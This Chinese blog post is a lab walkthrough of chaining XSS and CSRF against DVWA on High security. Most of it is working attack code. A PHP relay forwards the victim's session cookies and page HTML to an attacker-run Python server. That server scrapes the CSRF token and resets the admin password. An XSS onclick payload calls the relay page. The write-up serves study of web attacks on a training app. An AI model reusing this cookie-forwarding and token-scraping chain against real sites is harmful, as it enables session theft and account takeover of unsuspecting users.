【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客第一阶段
目录
前言
一、场景想定
二、过程步骤
1.High等级下的CSRF利用
2.XSS+CSRF实现页面访问后密码被修改
2.利用过程
总结
前言
第二阶段,增加了一个CSRF-Token 。关于XSS的利用,cookie的泄露,在上述博客中已很清晰地说明白了~
一、场景想定
攻击者Bob在论坛发送信息
当用户Admin访问查看(或点击)Bob发送地消息时,密码可被Bob任意指定修改。
二、过程步骤
1.High等级下的CSRF利用
每次修改密码时,将各个参数放在get参数发起请求
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=331eed9528723806d29513c3bc84c1bd#
前三者都是完全透明的,而第三者是需要user_token即csrf_token,每次都在变化
实际上,查看网页源代码,可以发现下一次请求时需要拼接的合法csrf_token
下一次请求时:
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=9d82305d7841188b6f61137bf212774a#
2.XSS+CSRF实现页面访问后密码被修改
自动地构造并发送上述请求,即可实现利用。最大的困难其实很明显:如何获取合法user_token
通过上述网页源码地的方式,可以如下实现:访问 http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
页面,从请求返回的html中可拿到下一次csrf_token
chat一个php
<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/111';
// 初始化一个 cURL 对象
$ch = curl_init();
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 请求,获取返回的 HTML 代码
$response = curl_exec($ch);
// 关闭 cURL 资源
curl_close($ch);
// 如果成功获取到 HTML 代码,则发送 POST 请求
if ($response) {
$postData = [
'html_code' => $response
];
$postUrl = 'http://127.0.0.1:8142';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $postUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
// 执行 POST 请求
$postResponse = curl_exec($ch);
// 关闭 cURL 资源
curl_close($ch);
// 输出 POST 请求的返回结果
echo $postResponse;
} else {
echo 'Failed to retrieve HTML code';
}
?>
chat一个接收request的python http server
import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
# 处理 POST 请求
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
# 解码 URL 编码的数据
decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
# 使用正则表达式匹配 value 值
pattern = r"value='(\w+)'"
matches = re.findall(pattern, decoded_data)
if matches:
user_token = matches[0]
print("提取出的 user_token 值:", user_token)
else:
print("未找到匹配的 value 字段")
# 回显提取出的 user_token 值
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(user_token.encode('utf-8'))
print("[+]eceived POST request:")
print("[+]user_token:", user_token)
# 在命令行接收用户输入的 new_password
new_password = input("请输入新密码 new_password: ")
# 构造访问网页的 URL
url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
print(f'[+]构造请求如下:http://127.0.0.1{url}')
# 发送请求访问网页
conn = http.client.HTTPConnection("127.0.0.1")
conn.request("GET", url)
print("[+]更改密码请求已发送")
# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Starting HTTP server on port {port}...')
httpd.serve_forever()
# 运行 HTTP 服务器
run()
然鹅有些问题——每一次的user_token都是一样的猜测是因为没有携带cookie,每次都是全新的请求。
做实验嘛一步步来,先写死cookie试试
<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/vulnerabilities/csrf';
// 初始化一个 cURL 对象
$ch = curl_init();
$requestCookieString = 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high';
// 设置请求头,包含接收到的 Cookie
$requestHeaders = array(
'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);
// 输出Cookie值到页面
echo "Cookie值: " . $requestCookieString . "<br>";
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 设置请求头
// 执行 cURL 请求,获取返回的 HTML 代码
$response = curl_exec($ch);
// 关闭 cURL 资源
curl_close($ch);
// 如果成功获取到 HTML 代码,则发送 POST 请求
if ($response) {
$postData = [
'html_code' => $response
];
$postUrl = 'http://127.0.0.1:8142';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $postUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
// 执行 POST 请求
$postResponse = curl_exec($ch);
// 关闭 cURL 资源
curl_close($ch);
// 输出 POST 请求的返回结果
echo $postResponse;
} else {
echo 'Failed to retrieve HTML code';
}
?>
那么我们做请求的时候,自然也需要cookie
import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
# 处理 POST 请求
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
# 解码 URL 编码的数据
decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
# 使用正则表达式匹配 value 值
pattern = r"value='(\w+)'"
matches = re.findall(pattern, decoded_data)
if matches:
user_token = matches[0]
print("提取出的 user_token 值:", user_token)
else:
print("未找到匹配的 value 字段")
# 回显提取出的 user_token 值
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(user_token.encode('utf-8'))
print("[+]received POST request:")
print("[+]user_token:", user_token)
# 在命令行接收用户输入的 new_password
new_password = input("请输入新密码 new_password: ")
# 构造访问网页的 URL
url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
# 添加Cookie
headers = {
'Cookie': 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high'
}
print(f'[+]构造请求如下:http://127.0.0.1{url}')
# 发送请求访问网页
conn = http.client.HTTPConnection("127.0.0.1")
conn.request("GET", url,headers=headers)
print("[+]更改密码请求已发送")
# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Starting HTTP server on port {port}...')
httpd.serve_forever()
# 运行 HTTP 服务器
run()
经过测试,可行(但是cookie写死):
- 首先触发xss
- bob捎带usr_token发送更改密码请求
- 成功修改
三、最终利用——cookie可变下的admin密码修改
1.cookie可变
其实很简单,利用第一个实验即可。【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客
修改XSS触发的CSRF-php页面、以及接收cookie\csrf-token的server.py
...........
$ch = curl_init();
$receivedCookies = $_COOKIE;
$requestCookieString = '';
foreach ($receivedCookies as $name => $value) {
$requestCookieString .= $name . '=' . $value . '; ';
}
$requestHeaders = array(
'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);
...........
if ($response) {
$postData = [
'html_code' => $response
];
$postUrl = 'http://127.0.0.1:8142';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $postUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 这里设置请求头,传递cookie
$postResponse = curl_exec($ch);
// 关闭 cURL 资源
curl_close($ch);
// 输出 POST 请求的返回结果
echo $postResponse;
} else {
echo 'Failed to retrieve HTML code';
}
?>
...........
def do_POST(self):
........
# 获取请求头中的Cookie
cookie_header = self.headers.get('Cookie')
if cookie_header:
print("[+]接收到的 Cookie:", cookie_header)
else:
print("[!]未找到接收到的 Cookie")
........
# 使用接收到的Cookie
headers = {
'Cookie': cookie_header,
}
........
conn.request("GET", url, headers=headers)
........
2.利用过程
<input onclick="fetch('http://127.0.0.1/combine_cookie_token.php');">
总结
从一开始无法利用,到思考需要的条件,一步步实现,对CSRF、XSS的理解更深了。
唯一觉得遗憾的是,chat强大、解放编写代码门槛的同时,也让我编码能力——程序员的核心能力——迟滞不前甚至降低许多。。。唉